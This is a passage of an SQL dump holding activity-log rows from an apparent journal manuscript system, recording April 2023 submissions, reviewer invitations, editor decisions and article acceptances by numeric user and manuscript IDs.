Publisher',13702,'Publisher',1009),(126911,'2023-04-21 09:27:07','Manuscript Submitted by Publisher',13703,'',1050),(126912,'2023-04-21 11:59:49','Manuscript Updated',13686,'Publisher',972),(126913,'2023-04-21 12:00:21','Publisher has been Accepted Articles  article',13686,'Publisher',972),(126914,'2023-04-21 12:00:36','Manuscript Updated',13686,'Publisher',972),(126915,'2023-04-21 12:01:03','Manuscript Updated',13685,'Publisher',972),(126916,'2023-04-21 12:01:19','Publisher has been Accepted Articles  article',13685,'Publisher',972),(126917,'2023-04-21 12:01:32','Manuscript Updated',13685,'Publisher',972),(126918,'2023-04-21 12:01:43','Manuscript Updated',13684,'Publisher',972),(126919,'2023-04-21 12:02:07','Publisher has been Accepted Articles  article',13684,'Publisher',972),(126920,'2023-04-21 12:02:29','Manuscript Updated',13684,'Publisher',972),(126921,'2023-04-21 12:02:43','Manuscript Updated',13683,'Publisher',972),(126922,'2023-04-21 12:03:00','Publisher has been Accepted Articles  article',13683,'Publisher',972),(126923,'2023-04-21 12:03:23','Manuscript Updated',13683,'Publisher',972),(126924,'2023-04-21 12:04:23','Editor has Accepted to review Manuscript',13683,'Editor',1310),(126925,'2023-04-21 12:04:40','Editor has been Editor Decision Accepted article',13683,'Editor',1310),(126926,'2023-04-21 12:04:48','Editor has Accepted to review Manuscript',13684,'Editor',1310),(126927,'2023-04-21 12:04:56','Editor has been Editor Decision Accepted article',13684,'Editor',1310),(126928,'2023-04-21 12:05:04','Editor has Accepted to review Manuscript',13685,'Editor',1310),(126929,'2023-04-21 12:05:13','Editor has been Editor Decision Accepted article',13685,'Editor',1310),(126930,'2023-04-21 12:05:20','Editor has Accepted to review Manuscript',13686,'Editor',1310),(126931,'2023-04-21 12:05:25','Publisher has Invited Reviewer',13695,'Publisher',248),(126932,'2023-04-21 12:05:26','Editor has been Editor Decision Accepted article',13686,'Editor',1310),(126933,'2023-04-21 12:05:39','Publisher has Invited Reviewer',13695,'Publisher',248),(126934,'2023-04-21 12:05:44','Publisher has Invited Reviewer',13695,'Publisher',248),(126935,'2023-04-21 12:05:48','Publisher has Invited Reviewer',13695,'Publisher',248),(126936,'2023-04-21 12:05:53','Publisher has Invited Reviewer',13695,'Publisher',248),(126937,'2023-04-21 12:06:10','Manuscript Updated',13686,'Publisher',972),(126938,'2023-04-21 12:06:26','Publisher has been Accepted Articles  article',13686,'Publisher',972),(126939,'2023-04-21 12:06:29','Publisher has Invited Reviewer',13694,'Publisher',248),(126940,'2023-04-21 12:06:34','Publisher has Invited Reviewer',13694,'Publisher',248),(126941,'2023-04-21 12:06:37','Manuscript Updated',13686,'Publisher',972),(126942,'2023-04-21 12:06:38','Publisher has Invited Reviewer',13694,'Publisher',248),(126943,'2023-04-21 12:06:43','Publisher has Invited Reviewer',13694,'Publisher',248),(126944,'2023-04-21 12:06:47','Publisher has Invited Reviewer',13694,'Publisher',248),(126945,'2023-04-21 12:06:54','Manuscript Updated',13685,'Publisher',972),(126946,'2023-04-21 12:07:09','Publisher has been Accepted Articles  article',13685,'Publisher',972),(126947,'2023-04-21 12:07:21','Publisher has Invited Reviewer',13693,'Publisher',248),(126948,'2023-04-21 12:07:25','Manuscript Updated',13685,'Publisher',972),(126949,'2023-04-21 12:07:25','Publisher has Invited Reviewer',13693,'Publisher',248),(126950,'2023-04-21 12:07:30','Publisher has Invited Reviewer',13693,'Publisher',248),(126951,'2023-04-21 12:07:34','Publisher has Invited Reviewer',13693,'Publisher',248),(126952,'2023-04-21 12:07:41','Manuscript Updated',13684,'Publisher',972),(126953,'2023-04-21 12:07:59','Publisher has Invited Reviewer',13692,'Publisher',248),(126954,'2023-04-21 12:08:00','Publisher has been Accepted Articles  article',13684,'Publisher',972),(126955,'2023-04-21 12:08:04','Publisher has Invited Reviewer',13692,'Publisher',248),(126956,'2023-04-21 12:08:08','Publisher has Invited Reviewer',13692,'Publisher',248),(126957,'2023-04-21 12:08:10','Manuscript Updated',13684,'Publisher',972),(126958,'2023-04-21 12:08:27','Manuscript Updated',13683,'Publisher',972),(126959,'2023-04-21 12:08:39','Publisher has Invited Reviewer',13691,'Publisher',248),(126960,'2023-04-21 12:08:41','Publisher has been Accepted Articles  article',13683,'Publisher',972),(126961,'2023-04-21 12:08:54','Manuscript Updated',13683,'Publisher',972),(126962,'2023-04-21 12:08:54','Publisher has Invited Reviewer',13691,'Publisher',248),(126963,'2023-04-21 12:08:59','Publisher has Invited Reviewer',13691,'Publisher',248),(126964,'2023-04-21 12:09:03','Publisher has Invited Reviewer',13691,'Publisher',248),(126965,'2023-04-21 12:09:33','Publisher has Invited Reviewer',13690,'Publisher',248),(126966,'2023-04-21 12:09:38','Publisher has Invited Reviewer',13690,'Publisher',248),(126967,'2023-04-21 12:09:42','Publisher has Invited Reviewer',13690,'Publisher',248),(126968,'2023-04-21 12:09:46','Publisher has Invited Reviewer',13690,'Publisher',248),(126969,'2023-04-21 13:50:08','Reviewer has submitted comments',13668,'Reviewer',20788),(126970,'2023-04-21 13:50:45','Editor has Accepted to review Manuscript',13668,'Editor',1783),(126971,'2023-04-21 13:50:55','Editor has been Editor Decision Accepted article',13668,'Editor',1783),(126972,'2023-04-21 13:51:33','Manuscript Updated',13668,'Publisher',988),(126973,'2023-04-21 13:52:00','Publisher has been Accepted Articles  article',13668,'Publisher',988),(126974,'2023-04-21 13:52:15','Manuscript Updated',13668,'Publisher',988),(126975,'2023-04-21 13:52:53','Manuscript Updated',13696,'Publisher',988),(126976,'2023-04-21 13:53:17','Publisher has been Accepted Articles  article',13696,'Publisher',988),(126977,'2023-04-21 13:53:26','Manuscript Updated',13696,'Publisher',988),(126978,'2023-04-21 13:53:37','Manuscript Updated',13697,'Publisher',988),(126979,'2023-04-21 13:54:05','Publisher has been Accepted Articles  article',13697,'Publisher',988),(126980,'2023-04-21 13:54:13','Manuscript Updated',13697,'Publisher',988),(126981,'2023-04-21 13:54:23','Manuscript Updated',13698,'Publisher',988),(126982,'2023-04-21 13:54:58','Publisher has been Accepted Articles  article',13698,'Publisher',988),(126983,'2023-04-21 13:55:03','Manuscript Updated',13698,'Publisher',988),(126984,'2023-04-21 13:55:10','Manuscript Updated',13699,'Publisher',988),(126985,'2023-04-21 13:55:25','Publisher has been Accepted Articles  article',13699,'Publisher',988),(126986,'2023-04-21 13:55:31','Manuscript Updated',13699,'Publisher',988),(126987,'2023-04-21 13:56:20','Editor has Accepted to review Manuscript',13696,'Editor',1779),(126988,'2023-04-21 13:56:23','Editor has Accepted to review Manuscript',13697,'Editor',1779),(126989,'2023-04-21 13:56:28','Editor has Accepted to review Manuscript',13698,'Editor',1779),(126990,'2023-04-21 13:56:36','Editor has Accepted to review Manuscript',13699,'Editor',1779),(126991,'2023-04-21 13:56:47','Editor has been Editor Decision Accepted article',13699,'Editor',1779),(126992,'2023-04-21 13:56:51','Editor has been Editor Decision Accepted article',13698,'Editor',1779),(126993,'2023-04-21 13:56:57','Editor has been Editor Decision Accepted article',13697,'Editor',1779),(126994,'2023-04-21 13:57:02','Editor has been Editor Decision Accepted article',13696,'Editor',1779),(126995,'2023-04-21 13:57:49','Manuscript Updated',13696,'Publisher',988),(126996,'2023-04-21 13:58:09','Publisher has been Accepted Articles  article',13696,'Publisher',988),(126997,'2023-04-21 13:58:17','Manuscript Updated',13696,'Publisher',988),(126998,'2023-04-21 13:58:25','Manuscript Updated',13697,'Publisher',988),(126999,'2023-04-21 13:58:43','Publisher has been Accepted Articles  article',13697,'Publisher',988),(127000,'2023-04-21 13:58:52','Manuscript Updated',13697,'Publisher',988),(127001,'2023-04-21 13:59:02','Manuscript Updated',13698,'Publisher',988),(127002,'2023-04-21 13:59:18','Publisher has been Accepted Articles  article',13698,'Publisher',988),(127003,'2023-04-21 13:59:27','Manuscript Updated',13698,'Publisher',988),(127004,'2023-04-21 13:59:36','Manuscript Updated',13699,'Publisher',988),(127005,'2023-04-21 13:59:54','Publisher has been Accepted Articles  article',13699,'Publisher',988),(127006,'2023-04-21 14:00:00','Manuscript Updated',13699,'Publisher',988),(127007,'2023-04-21 14:18:30','Publisher has been Assigned Editor',13701,'Publisher',1009),(127008,'2023-04-21 14:42:44','Manuscript Submitted by Author using Submission form',13704,'Author',13846),(127009,'2023-04-21 14:44:10','Manuscript Submitted by Author using Submission form',13705,'Author',13847),(127010,'2023-04-21 14:45:54','Manuscript Submitted by Author using Submission form',13706,'Author',13848),(127011,'2023-04-21 14:48:09','Manuscript Submitted by Author using Submission form',13707,'Author',13849),(127012,'2023-04-21 14:49:37','Manuscript Submitted by Author using Submission form',13708,'Author',13850),(127013,'2023-04-21 16:44:07','Manuscript Updated',13690,'Publisher',248),(127014,'2023-04-21 16:45:40','Publisher has been Accepted Articles  article',13690,'Publisher',248),(127015,'2023-04-21 16:46:01','Manuscript Updated',13691,'Publisher',248),(127016,'2023-04-21 16:46:37','Manuscript Updated',13692,'Publisher',248),(127017,'2023-04-21 16:46:58','Publisher has been Accepted Articles  article',13692,'Publisher',248),(127018,'2023-04-21 16:47:24','Publisher has been Accepted Articles  article',13693,'Publisher',248),(127019,'2023-04-21 16:47:40','Publisher has been Accepted Articles  article',13694,'Publisher',248),(127020,'2023-04-21 16:49:25','Manuscript Updated',13695,'Publisher',248),(127021,'2023-04-21 16:49:39','Publisher has been Accepted Articles  article',13695,'Publisher',248),(127022,'2023-04-21 17:23:58','Manuscript Submitted by Publisher',13709,'Publisher',1009),(127023,'2023-04-22 09:09:00','Reviewer has submitted comments',13620,'Reviewer',10976),(127024,'2023-04-22 09:09:47','Editor has Accepted to review Manuscript',13620,'Editor',195),(127025,'2023-04-22 09:10:01','Editor has been Editor Decision Accepted article',13620,'Editor',195),(127026,'2023-04-22 09:14:46','Publisher: Accept Notification has been sent to Author',13620,'Publisher',48),(127027,'2023-04-22 09:15:11','Publisher has been Accepted Articles  article',13620,'Publisher',48),(127028,'2023-04-22 10:23:19','Publisher has been Assigned Editor',13705,'Publisher',376),(127029,'2023-04-22 10:24:16','Publisher has Invited Reviewer',13705,'Publisher',376),(127030,'2023-04-22 10:24:20','Publisher has Invited Reviewer',13705,'Publisher',376),(127031,'2023-04-22 10:24:25','Publisher has Invited Reviewer',13705,'Publisher',376),(127032,'2023-04-22 10:24:30','Publisher has Invited Reviewer',13705,'Publisher',376),(127033,'2023-04-22 11:05:11','Manuscript Submitted by Publisher',13710,'Publisher',1009),(127034,'2023-04-22 11:23:44','Editor has Accepted to review Manuscript',13639,'Editor',1781),(127035,'2023-04-22 11:23:54','Editor has been Editor Decision Accepted article',13639,'Editor',1781),(127036,'2023-04-22 11:24:15','Editor has Accepted to review Manuscript',13705,'Editor',1705),(127037,'2023-04-22 11:24:25','Editor has been Editor Decision Accepted article',13705,'Editor',1705),(127038,'2023-04-22 11:40:15','Manuscript Submitted by Publisher',13711,'Publisher',1009),(127039,'2023-04-22 11:40:27','Reviewer has submitted comments',13651,'Reviewer',11715),(127040,'2023-04-22 11:41:13','Editor has Accepted to review Manuscript',13651,'Editor',191),(127041,'2023-04-22 11:41:21','Editor has been Editor Decision Accepted article',13651,'Editor',191),(127042,'2023-04-22 11:41:52','Publisher: Accept Notification has been sent to Author',13651,'Publisher',48),(127043,'2023-04-22 11:43:39','Manuscript Updated',13651,'Publisher',48),(127044,'2023-04-22 11:44:05','Manuscript Updated',13705,'Publisher',376),(127045,'2023-04-22 11:44:10','Publisher has been Accepted Articles  article',13651,'Publisher',48),(127046,'2023-04-22 11:45:12','Manuscript Updated',13639,'Publisher',376),(127047,'2023-04-22 11:45:52','Publisher has been Accepted Articles  article',13705,'Publisher',376),(127048,'2023-04-22 11:45:54','Publisher has been Accepted Articles  article',13705,'Publisher',376),(127049,'2023-04-22 11:46:13','Publisher has been Accepted Articles  article',13639,'Publisher',376),(127050,'2023-04-22 11:46:14','Publisher has been Accepted Articles  article',13639,'Publisher',376),(127051,'2023-04-22 11:46:15','Publisher has been Accepted Articles  article',13639,'Publisher',376),(127052,'2023-04-22 12:01:37','Manuscript Submitted by Publisher',13713,'Publisher',984),(127053,'2023-04-22 12:04:48','Editor has Accepted to review Manuscript',13679,'Editor',1068),(127054,'2023-04-22 12:04:57','Editor has been Editor Decision Accepted article',13679,'Editor',1068),(127055,'2023-04-22 12:05:02','Editor has Accepted to review Manuscript',13681,'Editor',1068),(127056,'2023-04-22 12:05:10','Editor has been Editor Decision Accepted article',13681,'Editor',1068),(127057,'2023-04-22 12:05:15','Editor has Accepted to review Manuscript',13682,'Editor',1068),(127058,'2023-04-22 12:05:25','Editor has been Editor Decision Accepted article',13682,'Editor',1068),(127059,'2023-04-22 12:05:28','Manuscript Submitted by Publisher',13714,'Publisher',984),(127060,'2023-04-22 12:05:38','Editor has Accepted to review Manuscript',13576,'Editor',1068),(127061,'2023-04-22 12:05:51','Editor has been Editor Decision Accepted article',13576,'Editor',1068),(127062,'2023-04-22 12:06:00','Editor has Accepted to review Manuscript',13577,'Editor',1068),(127063,'2023-04-22 12:06:06','Editor has been Editor Decision Accepted article',13577,'Editor',1068),(127064,'2023-04-22 12:06:12','Editor has Accepted to review Manuscript',13579,'Editor',1068),(127065,'2023-04-22 12:06:12','Editor has Accepted to review Manuscript',13579,'Editor',1068),(127066,'2023-04-22 12:06:23','Editor has been Editor Decision Accepted article',13579,'Editor',1068),(127067,'2023-04-22 12:06:28','Editor has Accepted to review Manuscript',13580,'Editor',1068),(127068,'2023-04-22 12:06:35','Editor has been Editor Decision Accepted article',13580,'Editor',1068),(127069,'2023-04-22 12:06:41','Editor has Accepted to review Manuscript',13581,'Editor',1068),(127070,'2023-04-22 12:06:52','Editor has been Editor Decision Accepted article',13581,'Editor',1068),(127071,'2023-04-22 12:07:20','Editor has Accepted to review Manuscript',13680,'Editor',1070),(127072,'2023-04-22 12:07:31','Editor has been Editor Decision Accepted article',13680,'Editor',1070),(127073,'2023-04-22 12:08:30','Publisher has been Accepted Articles  article',13576,'Publisher',319),(127074,'2023-04-22 12:08:48','Publisher has been Accepted Articles  article',13577,'Publisher',319),(127075,'2023-04-22 12:09:16','Publisher has been Accepted Articles  article',13579,'Publisher',319),(127076,'2023-04-22 12:09:38','Publisher has been Accepted Articles  article',13580,'Publisher',319),(127077,'2023-04-22 12:09:57','Publisher has been Accepted Articles  article',13581,'Publisher',319),(127078,'2023-04-22 12:10:17','Publisher has been Accepted Articles  article',13679,'Publisher',319),(127079,'2023-04-22 12:10:36','Publisher has been Accepted Articles  article',13680,'Publisher',319),(127080,'2023-04-22 12:10:38','Publisher has been Accepted Articles  article',13680,'Publisher',319),(127081,'2023-04-22 12:10:58','Publisher has been Accepted Articles  article',13681,'Publisher',319),(127082,'2023-04-22 12:11:19','Publisher has been Accepted Articles  article',13682,'Publisher',319),(127083,'2023-04-22 12:13:59','Manuscript Submitted by Publisher',13715,'Publisher',984),(127084,'2023-04-22 12:20:35','Manuscript Submitted by Author using Submission form',13716,'Author',13856),(127085,'2023-04-22 12:25:32','Manuscript Submitted by Author using Submission form',13719,'Author',13858),(127086,'2023-04-22 12:28:20','Manuscript Submitted by Author using Submission form',13720,'Author',13859),(127087,'2023-04-22 12:30:07','Manuscript Submitted by Author using Submission form',13721,'Author',13860),(127088,'2023-04-22 12:40:40','Publisher has been Assigned Editor',13708,'Publisher',376),(127089,'2023-04-22 12:41:24','Publisher has been Assigned Editor',13706,'Publisher',376),(127090,'2023-04-22 12:44:01','Publisher has Invited Reviewer',13708,'Publisher',376),(127091,'2023-04-22 12:44:05','Manuscript Submitted by Publisher',13722,'Publisher',984),(127092,'2023-04-22 12:44:05','Publisher has Invited Reviewer',13708,'Publisher',376),(127093,'2023-04-22 12:44:10','Publisher has Invited Reviewer',13708,'Publisher',376),(127094,'2023-04-22 12:44:14','Publisher has Invited Reviewer',13708,'Publisher',376),(127095,'2023-04-22 12:45:36','Publisher has Invited Reviewer',13706,'Publisher',376),(127096,'2023-04-22 12:45:41','Publisher has Invited Reviewer',13706,'Publisher',376),(127097,'2023-04-22 12:45:46','Publisher has Invited Reviewer',13706,'Publisher',376),(127098,'2023-04-22 12:45:50','Publisher has Invited Reviewer',13706,'Publisher',376),(127099,'2023-04-22 13:08:48','Publisher has been Assigned Editor',13709,'Publisher',1009),(127100,'2023-04-22 13:14:40','Manuscript Submitted by Publisher',13724,'Publisher',1009),(127101,'2023-04-24 11:42:50','Publisher has been Assigned Editor',13700,'Publisher',274),(127102,'2023-04-24 12:06:43','Publisher has Invited Reviewer',13611,'Publisher',48),(127103,'2023-04-24 12:06:48','Publisher has Invited Reviewer',13611,'Publisher',48),(127104,'2023-04-24 12:06:52','Publisher has Invited Reviewer',13611,'Publisher',48),(127105,'2023-04-24 12:06:57','Publisher has Invited Reviewer',13611,'Publisher',48),(127106,'2023-04-24 13:45:26','Manuscript Submitted by Author using Submission form',13726,'Author',13863),(127107,'2023-04-24 13:47:43','Publisher has been Assigned Editor',13710,'Publisher',1009),(127108,'2023-04-24 13:47:52','Publisher has been Assigned Editor',13724,'Publisher',1009),(127109,'2023-04-24 13:57:46','Editor has been Editor Decision Accepted article',13606,'Editor',1749),(127110,'2023-04-24 13:57:59','Editor has been Editor Decision Accepted article',13613,'Editor',1749),(127111,'2023-04-24 13:58:05','Editor has Accepted to review Manuscript',13701,'Editor',1749),(127112,'2023-04-24 13:58:11','Editor has Accepted to review Manuscript',13710,'Editor',1749),(127113,'2023-04-24 13:58:22','Editor has been Editor Decision Accepted article',13701,'Editor',1749),(127114,'2023-04-24 13:58:36','Editor has been Editor Decision Accepted article',13710,'Editor',1749),(127115,'2023-04-24 13:59:30','Publisher has been Accepted Articles  article',13606,'Publisher',1009),(127116,'2023-04-24 14:00:01','Publisher has been Accepted Articles  article',13613,'Publisher',1009),(127117,'2023-04-24 14:02:28','Editor has Accepted to review Manuscript',13628,'Editor',1750),(127118,'2023-04-24 14:02:34','Editor has Accepted to review Manuscript',13629,'Editor',1750),(127119,'2023-04-24 14:02:38','Editor has Accepted to review Manuscript',13724,'Editor',1750),(127120,'2023-04-24 14:02:42','Editor has Accepted to review Manuscript',13709,'Editor',1750),(127121,'2023-04-24 14:02:46','Editor has Accepted to review Manuscript',13630,'Editor',1750),(127122,'2023-04-24 14:03:01','Editor has been Editor Decision Accepted article',13724,'Editor',1750),(127123,'2023-04-24 14:03:15','Editor has been Editor Decision Accepted article',13709,'Editor',1750),(127124,'2023-04-24 14:03:29','Editor has been Editor Decision Accepted article',13630,'Editor',1750),(127125,'2023-04-24 14:03:42','Editor has been Editor Decision Accepted article',13629,'Editor',1750),(127126,'2023-04-24 14:04:05','Editor has been Editor Decision Accepted article',13628,'Editor',1750),(127127,'2023-04-24 14:04:57','Publisher has been Accepted Articles  article',13628,'Publisher',1009),(127128,'2023-04-24 14:25:49','Publisher has been Accepted Articles  article',13513,'',1280),(127129,'2023-04-24 14:59:07','Publisher has been Accepted Articles  article',13629,'Publisher',1009),(127130,'2023-04-24 15:39:31','Publisher has been Accepted Articles  article',13630,'Publisher',1009),(127131,'2023-04-24 15:55:52','Reviewer has submitted comments',13689,'Reviewer',11578),(127132,'2023-04-24 15:56:57','Editor has Accepted to review Manuscript',13689,'Editor',195),(127133,'2023-04-24 15:57:09','Editor has been Editor Decision Accepted article',13689,'Editor',195),(127134,'2023-04-24 15:58:09','Publisher: Accept Notification has been sent to Author',13689,'Publisher',48),(127135,'2023-04-24 15:58:22','Manuscript Updated',13689,'Publisher',48),(127136,'2023-04-24 15:58:37','Publisher has been Accepted Articles  article',13689,'Publisher',48),(127137,'2023-04-24 15:58:51','Manuscript Updated',13689,'Publisher',48),(127138,'2023-04-24 17:05:42','Manuscript Submitted by Publisher',13727,'Publisher',1009),(127139,'2023-04-25 11:28:07','Manuscript Updated',13701,'Publisher',1009),(127140,'2023-04-25 11:28:33','Publisher has been Accepted Articles  article',13701,'Publisher',1009),(127141,'2023-04-25 11:47:20','Manuscript Updated',13709,'Publisher',1009),(127142,'2023-04-25 11:47:57','Publisher has been Accepted Articles  article',13709,'Publisher',1009),(127143,'2023-04-25 12:01:11','Manuscript Updated',13710,'Publisher',1009),(127144,'2023-04-25 12:01:43','Publisher has been Accepted Articles  article',13710,'Publisher',1009),(127145,'2023-04-25 12:10:34','Manuscript Submitted by Author using Submission form',13728,'Author',13864),(127146,'2023-04-25 13:24:11','Editor has Accepted to review Manuscript',13708,'Editor',1705),(127147,'2023-04-25 13:24:15','Editor has Accepted to review Manuscript',13706,'Editor',1705),(127148,'2023-04-25 13:24:27','Editor has been Editor Decision Accepted article',13708,'Editor',1705),(127149,'2023-04-25 13:24:36','Editor has been Editor Decision Accepted article',13706,'Editor',1705),(127150,'2023-04-25 13:25:15','Manuscript Updated',13708,'Publisher',376),(127151,'2023-04-25 13:25:23','Manuscript Updated',13706,'Publisher',376),(127152,'2023-04-25 13:25:46','Publisher has been Accepted Articles  article',13708,'Publisher',376),(127153,'2023-04-25 13:26:12','Publisher has been Accepted Articles  article',13706,'Publisher',376),(127154,'2023-04-25 14:30:39','Manuscript Updated',13724,'Publisher',1009),(127155,'2023-04-25 14:31:08','Publisher has been Accepted Articles  article',13724,'Publisher',1009),(127156,'2023-04-25 14:44:30','Publisher has been Assigned Editor',13726,'Publisher',85),(127157,'2023-04-25 14:46:32','Editor has Accepted to review Manuscript',13726,'Editor',1675),(127158,'2023-04-25 14:46:52','Editor has been Editor Decision Accepted article',13726,'Editor',1675),(127159,'2023-04-25 14:50:17','Publisher has Invited Reviewer',13726,'Publisher',85),(127160,'2023-04-25 14:50:22','Publisher has Invited Reviewer',13726,'Publisher',85),(127161,'2023-04-25 14:50:27','Publisher has Invited Reviewer',13726,'Publisher',85),(127162,'2023-04-25 14:50:31','Publisher has Invited Reviewer',13726,'Publisher',85),(127163,'2023-04-25 14:50:36','Publisher has Invited Reviewer',13726,'Publisher',85),(127164,'2023-04-25 15:03:51','Manuscript Updated',13560,'Publisher',248),(127165,'2023-04-25 15:04:45','Publisher has been Accepted Articles  article',13560,'Publisher',248),(127166,'2023-04-25 15:38:36','Editor has Accepted to review Manuscript',13688,'Editor',633),(127167,'2023-04-25 15:38:48','Editor has been Editor Decision Accepted article',13688,'Editor',633),(127168,'2023-04-25 15:39:45','Publisher has Invited Reviewer',13688,'Publisher',645),(127169,'2023-04-25 15:39:49','Publisher has Invited Reviewer',13688,'Publisher',645),(127170,'2023-04-25 15:39:54','Publisher has Invited Reviewer',13688,'Publisher',645),(127171,'2023-04-25 15:39:58','Publisher has Invited Reviewer',13688,'Publisher',645),(127172,'2023-04-25 15:40:03','Publisher has Invited Reviewer',13688,'Publisher',645),(127173,'2023-04-25 15:40:08','Publisher has Invited Reviewer',13688,'Publisher',645),(127174,'2023-04-25 15:46:38','Editor has Accepted to review Manuscript',13477,'Editor',194),(127175,'2023-04-25 15:46:55','Editor has been Editor Decision Accepted article',13477,'Editor',194),(127176,'2023-04-25 15:47:43','Publisher: Accept Notification has been sent to Author',13477,'Publisher',48),(127177,'2023-04-25 15:47:58','Publisher has been Accepted Articles  article',13477,'Publisher',48),(127178,'2023-04-25 15:50:28','Publisher has Invited Reviewer',13688,'Publisher',645),(127179,'2023-04-25 15:50:33','Publisher has Invited Reviewer',13688,'Publisher',645),(127180,'2023-04-25 17:14:52','Manuscript Submitted by Publisher',13729,'Publisher',48),(127181,'2023-04-25 17:32:58','Editor has been Editor Decision Accepted article',13688,'Editor',633),(127182,'2023-04-25 18:05:57','Publisher has been Assigned Editor',13727,'Publisher',1009),(127183,'2023-04-26 10:05:31','Publisher has Invited Reviewer',13726,'Publisher',85),(127184,'2023-04-26 10:05:35','Publisher has Invited Reviewer',13726,'Publisher',85),(127185,'2023-04-26 10:05:40','Publisher has Invited Reviewer',13726,'Publisher',85),(127186,'2023-04-26 10:05:44','Publisher has Invited Reviewer',13726,'Publisher',85),(127187,'2023-04-26 10:05:49','Publisher has Invited Reviewer',13726,'Publisher',85),(127188,'2023-04-26 11:18:43','Manuscript Submitted by Publisher',13730,'Publisher',673),(127189,'2023-04-26 11:20:18','Manuscript Submitted by Publisher',13731,'Publisher',673),(127190,'2023-04-26 11:21:07','Publisher has been Assigned Editor',13729,'Publisher',48),(127191,'2023-04-26 11:22:23','Manuscript Submitted by Publisher',13732,'Publisher',673),(127192,'2023-04-26 11:24:19','Manuscript Submitted by Publisher',13733,'Publisher',673),(127193,'2023-04-26 11:24:42','Publisher has been Assigned Editor',13728,'Publisher',376),(127194,'2023-04-26 11:27:09','Publisher has Invited Reviewer',13728,'Publisher',376),(127195,'2023-04-26 11:27:13','Publisher has Invited Reviewer',13728,'Publisher',376),(127196,'2023-04-26 11:27:18','Publisher has Invited Reviewer',13728,'Publisher',376),(127197,'2023-04-26 11:27:22','Publisher has Invited Reviewer',13728,'Publisher',376),(127198,'2023-04-26 11:32:02','Editor has Accepted to review Manuscript',13727,'Editor',1749),(127199,'2023-04-26 11:32:15','Editor has been Editor Decision Accepted article',13727,'Editor',1749),(127200,'2023-04-26 11:33:12','Manuscript Updated',13727,'Publisher',1009),(127201,'2023-04-26 11:33:24','Editor has Accepted to review Manuscript',13728,'Editor',1781),(127202,'2023-04-26 11:33:43','Publisher has been Accepted Articles  article',13727,'Publisher',1009),(127203,'2023-04-26 11:33:47','Editor has been Editor Decision Accepted article',13728,'Editor',1781),(127204,'2023-04-26 11:34:59','Manuscript Updated',13728,'Publisher',376),(127205,'2023-04-26 11:35:21','Publisher has been Accepted Articles  article',13728,'Publisher',376),(127206,'2023-04-26 11:41:44','Manuscript Submitted by Publisher',13734,'Publisher',673),(127207,'2023-04-26 11:48:09','Reviewer has submitted comments',13598,'Reviewer',21392),(127208,'2023-04-26 11:49:04','Editor has Accepted to review Manuscript',13598,'Editor',194),(127209,'2023-04-26 11:49:14','Editor has been Editor Decision Accepted article',13598,'Editor',194),(127210,'2023-04-26 11:50:04','Publisher: Accept Notification has been sent to Author',13598,'Publisher',48),(127211,'2023-04-26 11:50:23','Publisher has been Accepted Articles  article',13598,'Publisher',48),(127212,'2023-04-26 13:33:34','Editor has Accepted to review Manuscript',13678,'Editor',1740),(127213,'2023-04-26 13:33:48','Editor has been Editor Decision Accepted article',13678,'Editor',1740),(127214,'2023-04-26 13:33:54','Editor has Accepted to review Manuscript',13677,'Editor',1740),(127215,'2023-04-26 13:34:11','Editor has been Editor Decision Accepted article',13677,'Editor',1740),(127216,'2023-04-26 13:34:20','Editor has Accepted to review Manuscript',13676,'Editor',1740),(127217,'2023-04-26 13:34:26','Editor has been Editor Decision Accepted article',13676,'Editor',1740),(127218,'2023-04-26 13:34:31','Editor has Accepted to review Manuscript',13675,'Editor',1740),(127219,'2023-04-26 13:34:53','Editor has been Editor Decision Accepted article',13675,'Editor',1740),(127220,'2023-04-26 13:35:03','Editor has Accepted to review Manuscript',13674,'Editor',1740),(127221,'2023-04-26 13:35:11','Editor has been Editor Decision Accepted article',13674,'Editor',1740),(127222,'2023-04-26 13:35:24','Editor has Accepted to review Manuscript',13673,'Editor',1740),(127223,'2023-04-26 13:35:31','Editor has been Editor Decision Accepted article',13673,'Editor',1740),(127224,'2023-04-26 13:35:38','Editor has Accepted to review Manuscript',13672,'Editor',1740),(127225,'2023-04-26 13:35:47','Editor has been Editor Decision Accepted article',13672,'Editor',1740),(127226,'2023-04-26 13:36:07','Editor has Accepted to review Manuscript',13671,'Editor',1740),(127227,'2023-04-26 13:36:30','Editor has been Editor Decision Accepted article',13671,'Editor',1740),(127228,'2023-04-26 13:36:47','Editor has Accepted to review Manuscript',13670,'Editor',1740),(127229,'2023-04-26 13:36:57','Editor has been Editor Decision Accepted article',13670,'Editor',1740),(127230,'2023-04-26 13:37:19','Editor has Accepted to review Manuscript',13669,'Editor',1740),(127231,'2023-04-26 13:37:29','Editor has been Editor Decision Accepted article',13669,'Editor',1740),(127232,'2023-04-26 13:39:04','Publisher has been Accepted Articles  article',13669,'Publisher',1033),(127233,'2023-04-26 13:39:55','Publisher has been Accepted Articles  article',13670,'Publisher',1033),(127234,'2023-04-26 13:40:40','Publisher has been Accepted Articles  article',13672,'Publisher',1033),(127235,'2023-04-26 13:41:05','Publisher has been Accepted Articles  article',13673,'Publisher',1033),(127236,'2023-04-26 13:41:34','Publisher has been Accepted Articles  article',13674,'Publisher',1033),(127237,'2023-04-26 13:42:56','Publisher has been Accepted Articles  article',13675,'Publisher',1033),(127238,'2023-04-26 13:43:30','Publisher has been Accepted Articles  article',13676,'Publisher',1033),(127239,'2023-04-26 13:43:33','Publisher has been Accepted Articles  article',13676,'Publisher',1033),(127240,'2023-04-26 13:43:55','Publisher has been Accepted Articles  article',13677,'Publisher',1033),(127241,'2023-04-26 13:44:14','Publisher has been Accepted Articles  article',13678,'Publisher',1033),(127242,'2023-04-26 13:44:40','Publisher has been Accepted Articles  article',13671,'Publisher',1033),(127243,'2023-04-26 14:15:14','Publisher has been Accepted Articles  article',13691,'Publisher',248),(127244,'2023-04-26 14:15:39','Manuscript Updated',13562,'Publisher',248),(127245,'2023-04-26 14:16:02','Publisher has been Accepted Articles  article',13562,'Publisher',248),(127246,'2023-04-26 14:16:53','Manuscript Updated',13561,'Publisher',248),(127247,'2023-04-26 14:17:10','Publisher has been Accepted Articles  article',13561,'Publisher',248),(127248,'2023-04-26 15:27:36','Publisher has been Assigned Editor',13687,'',1491),(127249,'2023-04-26 15:50:24','Reviewer has submitted comments',13611,'Reviewer',21503),(127250,'2023-04-26 15:50:55','Editor has Accepted to review Manuscript',13611,'Editor',194),(127251,'2023-04-26 15:51:05','Editor has been Editor Decision Accepted article',13611,'Editor',194),(127252,'2023-04-26 15:52:03','Publisher has been Accepted Articles  article',13611,'Publisher',48),(127253,'2023-04-26 15:54:22','Publisher has Invited Reviewer',13729,'Publisher',48),(127254,'2023-04-26 